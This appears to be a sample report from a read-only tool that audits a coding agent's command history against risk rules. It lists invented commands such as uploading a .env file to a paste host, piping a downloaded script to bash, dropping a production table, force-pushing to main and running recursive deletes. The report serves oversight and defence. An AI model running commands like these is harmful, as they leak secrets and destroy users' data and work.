agentdryrun scan · dry run on your coding agent's history · read-only, nothing left this machine
Agent report card all time
12 sessions · 1 project · 48 tool calls · 48 actions judged · period 2026-10-01 to 2026-10-12 · rules: coding-agent.json
SAMPLE: every command, path and name in this report is invented. Nothing here comes from a real session.
Before you share this page: it contains excerpts of your commands and project names. Secrets are hidden only on a best-effort basis. Re-run with
--no-previews for a version without command text.48actions judged
24would have passed
19would have needed your approval
5would have been refused
50.0% of what the agent did would not have gone through on its own under these rules. Refused = the rules say never; approval = a human should decide.
What kind of actions
| Kind | Name in the rules | Total | Pass | Approval | Refused |
|---|---|---|---|---|---|
| Writes to settings, CI, startup files, system folders | file.write | 4 | 1 | 2 | 1 |
| Infrastructure or cloud deletes | infra.destructive | 3 | 0 | 2 | 1 |
| Force pushes / remote branch deletes | git.force_push | 1 | 0 | 0 | 1 |
| Destructive database commands | db.destructive_sql | 1 | 0 | 0 | 1 |
| Files or output sent to a remote host | net.upload | 1 | 0 | 0 | 1 |
| Recursive deletes | shell.delete_recursive | 5 | 2 | 3 | 0 |
| MCP tools that do not look read-only | mcp.call | 3 | 1 | 2 | 0 |
| Secret files read | secrets.read | 2 | 0 | 2 | 0 |
| Work thrown away (reset --hard, clean, ...) | git.discard_changes | 2 | 0 | 2 | 0 |
| Downloaded scripts run unread (curl | sh) | shell.pipe_to_shell | 1 | 0 | 1 | 0 |
| Commands with sudo | shell.sudo | 1 | 0 | 1 | 0 |
| Environment variables dumped | secrets.dump_env | 1 | 0 | 1 | 0 |
| Publishes (npm, docker, ...) | package.publish | 1 | 0 | 1 | 0 |
| Connections to other machines (ssh, scp, nc) | net.remote_access | 1 | 0 | 1 | 0 |
| Permissions opened to everyone | shell.chmod_open | 1 | 0 | 1 | 0 |
Look at these first
| When (UTC) | Project | What | Verdict | Why | Command (secrets hidden, best effort) |
|---|---|---|---|---|---|
| 2026-10-06 | shop-app | Files or output sent to a remote host | refused | uploads a file that looks like a secret (.env, key, token) | curl -X POST -d @.env https://paste.example.org/api |
| 2026-10-06 | shop-app | Writes to settings, CI, startup files, system folders | refused | writes to ssh settings, a shell startup file or a system configuration file | echo 'export PATH=$PATH:/opt/x' >> ~/.bashrc |
| 2026-10-05 | shop-app | Infrastructure or cloud deletes | refused | destructive infrastructure command that mentions production | terraform destroy -auto-approve # prod stack |
| 2026-10-04 | shop-app | Destructive database commands | refused | destructive database command that mentions production | psql "$DATABASE_URL" -c 'DROP TABLE orders;' # production database |
| 2026-10-03 | shop-app | Force pushes / remote branch deletes | refused | force push or branch deletion on main/master/production/release | git push --force origin main |
| 2026-10-10 | shop-app | Work thrown away (reset --hard, clean, ...) | approval | tool is classified high risk | git clean -fdx |
| 2026-10-10 | shop-app | Infrastructure or cloud deletes | approval | tool is classified high risk | docker system prune -a --volumes -f |
| 2026-10-10 | shop-app | Permissions opened to everyone | approval | tool is classified high risk | chmod -R 777 ./uploads |
| 2026-10-09 | shop-app | Recursive deletes | approval | recursive delete outside the project, of the whole project, of a list from another command, or of a path built from a variable that cannot be checked | rm -rf ~/Documents/old-projects |
| 2026-10-09 | shop-app | Connections to other machines (ssh, scp, nc) | approval | tool is classified high risk | ssh deploy@203.0.113.7 'systemctl restart shop' |
| 2026-10-08 | shop-app | MCP tools that do not look read-only | approval | MCP tool whose name suggests it changes, sends or deletes something | github/delete_branch |
| 2026-10-08 | shop-app | MCP tools that do not look read-only | approval | MCP tool whose name suggests it changes, sends or deletes something | github/create_issue |
| 2026-10-06 | shop-app | Publishes (npm, docker, ...) | approval | tool is classified high risk | npm publish |
| 2026-10-06 | shop-app | Environment variables dumped | approval | tool is classified high risk | printenv |
| 2026-10-05 | shop-app | Writes to settings, CI, startup files, system folders | approval | changes the agent's own settings, a CI workflow, a git hook or a startup item | /home/dev/.claude/settings.json |
| 2026-10-05 | shop-app | Writes to settings, CI, startup files, system folders | approval | changes the agent's own settings, a CI workflow, a git hook or a startup item | /home/dev/shop-app/.github/workflows/ci.yml |
| 2026-10-05 | shop-app | Infrastructure or cloud deletes | approval | tool is classified high risk | aws s3 rm s3://shop-assets --recursive |
| 2026-10-04 | shop-app | Recursive deletes | approval | recursive delete outside the project, of the whole project, of a list from another command, or of a path built from a variable that cannot be checked | rm -rf "$BUILD_DIR/output" |
| 2026-10-04 | shop-app | Recursive deletes | approval | recursive delete outside the project, of the whole project, of a list from another command, or of a path built from a variable that cannot be checked | cd ../old-build && rm -rf cache |
| 2026-10-04 | shop-app | Commands with sudo | approval | tool is classified high risk | sudo apt-get install -y postgresql-client |
| 2026-10-03 | shop-app | Work thrown away (reset --hard, clean, ...) | approval | tool is classified high risk | git reset --hard HEAD~2 |
| 2026-10-03 | shop-app | Downloaded scripts run unread (curl | sh) | approval | tool is classified high risk | curl -fsSL https://get.example-tool.dev/install.sh | bash |
| 2026-10-02 | shop-app | Secret files read | approval | tool is classified high risk | cat .env.local |
| 2026-10-02 | shop-app | Secret files read | approval | tool is classified high risk | /home/dev/shop-app/.env |
Where the output piled up
The model had to read about 28,090 tokens of tool output in this period (characters / 4, a rough estimate), and 3 calls (6.2%) ended in an error.
| Tool | Project | Output ~tokens | Command |
|---|---|---|---|
| Bash | shop-app | 10,000 | git log --oneline |
| WebFetch | shop-app | 2,000 | https://docs.stripe.com/api/charges |
| Bash | shop-app | 1,500 | npm run lint |
| Bash | shop-app | 1,500 | npm run lint |
| Bash | shop-app | 1,500 | npm run lint |
| Bash | shop-app | 1,300 | npm test |
| Task | shop-app | 1,250 | find the pricing code |
| Bash | shop-app | 1,200 | npm test |
- 3× the same failing call in one session:
Bashnpm run lint (shop-app)
What this report is, and is not. It reads the transcripts Claude Code keeps on this machine and names what the agent attempted
with pattern matching on its commands, so it misses things (a script that deletes files,
python -c, a path built at run time) and flags a few harmless ones.
It cannot know whether a command worked or what you approved. The verdicts are a simulation under a starter rules pack: edit the rules to match how you work.
Nothing was blocked or executed. It is not a security audit, a certification or legal advice. The transcript format is not a documented interface and may change.